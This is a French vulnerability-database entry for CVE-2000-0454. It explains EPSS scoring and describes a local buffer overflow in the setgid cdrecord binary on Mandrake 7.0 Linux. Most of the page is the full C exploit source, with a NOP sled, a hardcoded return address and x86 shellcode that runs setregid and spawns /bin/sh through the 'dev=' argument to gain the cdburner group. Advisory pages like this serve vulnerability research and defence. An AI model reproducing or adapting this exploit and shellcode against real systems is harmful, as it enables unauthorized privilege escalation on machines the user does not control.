CVE-2000-0454 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/1265/info The linux cdrecorder binary is vulnerable to a locally exploitable buffer overflow attack. When installed in a Mandrake 7.0 linux distribution, it is by default setgid "cdburner" (which is a group, gid: 80, that is created for the application). The overflow condition is the result of no bounds checking on the 'dev=' argument passed to cdburner at execution time. This vulnerability can be exploited to execute arbitrary commands with egid "cdburner". cdburner has been verified (by the writers of the exploit) to be exploitable on an Intel linux system running Mandrake 7.0. Other distributions of linux may be vulnerable to this problem as well. /* /usr/bin/cdrecord exploit by noir * x86/Linux * [email protected] | [email protected] * dev= param overflow * this script will get you gid = 80 group cdwriter * tested on Mandrake 7.0 (Air) * greetz: dustdevil, Cronos, moog, still, BlaCK #olympos irc.sourtimes.org * * */ #include <stdio.h> #include <string.h> #define NOP 0x90 #define RET 0xbffffe66 //play with argv[1] +10, -10 if default is not ok int main(int argc, char *argv[]) { unsigned char shell[] = "\x31\xc0\xb0\x50\x89\xc3\x89\xc1\xb0\x47\xcd\x80" /*setregid(80, 80) */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char egg[400]; char buf[80]; int i, a; long ret = RET; if(argv[1]) ret = ret - atoi(argv[1]); memset(egg, NOP, 400); for(i = 0 ; i < 80 ; i+=4) *(long *) &buf[i] = ret; for( i = 300, a = 0; a < strlen(shell) ; i++, a++ ) egg[i] = shell[a]; buf[72] = 0x00; egg[399] = 0x00; printf("eip: 0x%x\n", ret); setenv("EGG", egg, 1); execl("/usr/bin/cdrecord", "cdrecord","dev=", buf, "/etc/passwd", 0); }